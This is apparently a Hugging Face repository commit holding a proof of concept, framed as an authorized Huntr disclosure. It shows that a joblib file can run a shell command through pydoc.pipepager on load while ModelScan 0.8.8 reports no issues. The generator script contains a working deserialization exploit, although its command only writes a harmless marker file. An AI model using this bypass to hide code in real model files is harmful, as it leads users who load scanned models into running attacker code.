surrealgrain commited on
Commit
8f4fbd7
·
verified ·
1 Parent(s): 6e714b4

Upload 4 files

Browse files
README.md ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ library_name: joblib
3
+ tags:
4
+ - security-research
5
+ - huntr
6
+ - modelscan
7
+ - joblib
8
+ ---
9
+
10
+ # Joblib pydoc.pipepager ModelScan bypass PoC
11
+
12
+ This repository contains a restrained proof of concept for an authorized Huntr security report against ModelScan's Joblib scanning path.
13
+
14
+ Do not load `poc_pydoc_pipepager_bypass.joblib` outside an isolated test environment. The payload demonstrates load-time execution by writing the marker file `/tmp/modelscan_joblib_pydoc_pipepager_marker`.
15
+
16
+ Files:
17
+
18
+ - `poc_pydoc_pipepager_bypass.joblib`: minimal Joblib payload.
19
+ - `poc_joblib_pydoc_pipepager_bypass.py`: generator and verifier script.
20
+ - `poc_pydoc_pipepager_bypass.modelscan.json`: ModelScan 0.8.8 JSON output showing zero detected issues.
21
+
22
+ SHA-256 for `poc_pydoc_pipepager_bypass.joblib`:
23
+
24
+ ```text
25
+ 5ac854e4906c2688de5df48130a789bd4c14f1b255b36a3e0d784bdd8f02a271
26
+ ```
poc_joblib_pydoc_pipepager_bypass.py ADDED
@@ -0,0 +1,83 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from __future__ import annotations
2
+
3
+ import json
4
+ import os
5
+ import pickletools
6
+ import shutil
7
+ import subprocess
8
+ from pathlib import Path
9
+
10
+ import joblib
11
+ import pydoc
12
+
13
+
14
+ ROOT = Path(__file__).resolve().parent
15
+ PAYLOAD = ROOT / "poc_pydoc_pipepager_bypass.joblib"
16
+ REPORT = ROOT / "poc_pydoc_pipepager_bypass.modelscan.json"
17
+ MARKER = Path("/tmp/modelscan_joblib_pydoc_pipepager_marker")
18
+
19
+
20
+ class PipePagerPayload:
21
+ def __reduce__(self):
22
+ command = f"printf modelscan-joblib-pydoc-pipepager > {MARKER}"
23
+ return pydoc.pipepager, ("", command)
24
+
25
+
26
+ def main() -> None:
27
+ MARKER.unlink(missing_ok=True)
28
+ joblib.dump(PipePagerPayload(), PAYLOAD)
29
+
30
+ payload = PAYLOAD.read_bytes()
31
+ print(f"wrote {PAYLOAD}")
32
+ print("pickle globals:")
33
+ for opcode, arg, position in pickletools.genops(payload):
34
+ if opcode.name in {"GLOBAL", "STACK_GLOBAL"}:
35
+ print(f" {position}: {opcode.name} {arg!r}")
36
+
37
+ modelscan_bin = (
38
+ os.environ.get("MODELSCAN_BIN")
39
+ or shutil.which("modelscan")
40
+ or str(ROOT / ".venv312" / "bin" / "modelscan")
41
+ )
42
+ scan = subprocess.run(
43
+ [
44
+ modelscan_bin,
45
+ "--path",
46
+ str(PAYLOAD),
47
+ "--reporting-format",
48
+ "json",
49
+ "--output-file",
50
+ str(REPORT),
51
+ ],
52
+ check=False,
53
+ capture_output=True,
54
+ text=True,
55
+ )
56
+ print("modelscan binary:", scan.args[0])
57
+ print("modelscan exit:", scan.returncode)
58
+ report = json.loads(REPORT.read_text())
59
+ print(
60
+ "modelscan summary:",
61
+ json.dumps(
62
+ {
63
+ "total_issues": report["summary"]["total_issues"],
64
+ "total_issues_by_severity": report["summary"][
65
+ "total_issues_by_severity"
66
+ ],
67
+ "errors": report["errors"],
68
+ "skipped": report["summary"].get("skipped", {}),
69
+ },
70
+ indent=2,
71
+ ),
72
+ )
73
+
74
+ print("marker exists before joblib.load:", MARKER.exists())
75
+ result = joblib.load(PAYLOAD)
76
+ print("joblib.load returned:", result)
77
+ print("marker exists after joblib.load:", MARKER.exists())
78
+ if MARKER.exists():
79
+ print("marker content:", MARKER.read_text())
80
+
81
+
82
+ if __name__ == "__main__":
83
+ main()
poc_pydoc_pipepager_bypass.joblib ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:5ac854e4906c2688de5df48130a789bd4c14f1b255b36a3e0d784bdd8f02a271
3
+ size 130
poc_pydoc_pipepager_bypass.modelscan.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "/Users/chrisparker/Documents/Codex/2026-05-12/task-authorized-vulnerability-research-on-huntr-3/modelscan/poc_pydoc_pipepager_bypass.joblib", "absolute_path": "/Users/chrisparker/Documents/Codex/2026-05-12/task-authorized-vulnerability-research-on-huntr-3/modelscan", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T20:46:50.145415", "scanned": {"total_scanned": 1, "scanned_files": ["poc_pydoc_pipepager_bypass.joblib"]}}, "issues": [], "errors": []}